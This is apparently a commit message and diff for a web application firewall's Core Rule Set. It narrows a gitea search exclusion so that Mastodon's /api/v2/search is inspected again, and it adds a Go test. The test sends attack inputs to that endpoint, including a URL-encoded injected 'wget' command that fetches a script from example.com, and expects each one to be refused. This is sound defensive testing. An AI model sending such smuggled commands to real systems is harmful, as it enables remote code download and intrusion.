Core Rule Set: gitea's repository search exclusion skips /api/v2/search (closes #266)

Rule 900600 matched /api/v2/search, Mastodon's search, as gitea's search
inside a repository, so attacks in q scored 0 there. gitea has no owner
named api, so a chained condition now leaves out /api/<x>/search. Go's
regular expressions have no lookahead, so the exclusion cannot be written
inside the pattern.

Model: opus-5-5

internal/coreruleset/coreruleset_test.go

@@ -674,6 +674,19 @@ func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
 			}
 		}
 	}
+
+	// gitea has no owner named api, so Mastodon's search is not a
+	// repository's search.
+	for _, attack := range []string{
+		sqlInjection,
+		scriptInjection,
+		"%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh",
+	} {
+		target := "/api/v2/search?q=" + attack
+		if got := inspect(t, crs, get(target)); got.Score < threshold {
+			t.Errorf("%s let through: %+v", target, got)
+		}
+	}
 }
 
 // WordPress's paths: signing in, posting a comment, admin-ajax.php, and the

internal/coreruleset/gitea.conf

@@ -35,13 +35,16 @@
 #   944100: java.lang.Runtime
 #   944110: java.lang.Runtime
 #   944130: java.lang.Runtime
+# gitea has no owner named api, so /api/v2/search, Mastodon's search, is not a
+# search inside a repository and gets none of this.
 SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
     [^/]+/-/code|\
     [^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
     commits/(?:branch|tag|commit)/.+/search)|\
     api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \
-    "id:900600,phase:1,pass,nolog,\
-    ctl:ruleRemoveTargetById=930110;ARGS:q,\
+    "id:900600,phase:1,pass,nolog,chain"
+    SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/search$" \
+        "ctl:ruleRemoveTargetById=930110;ARGS:q,\
         ctl:ruleRemoveTargetById=930120;ARGS:q,\
         ctl:ruleRemoveTargetById=931100;ARGS:q,\
         ctl:ruleRemoveTargetById=932120;ARGS:q,\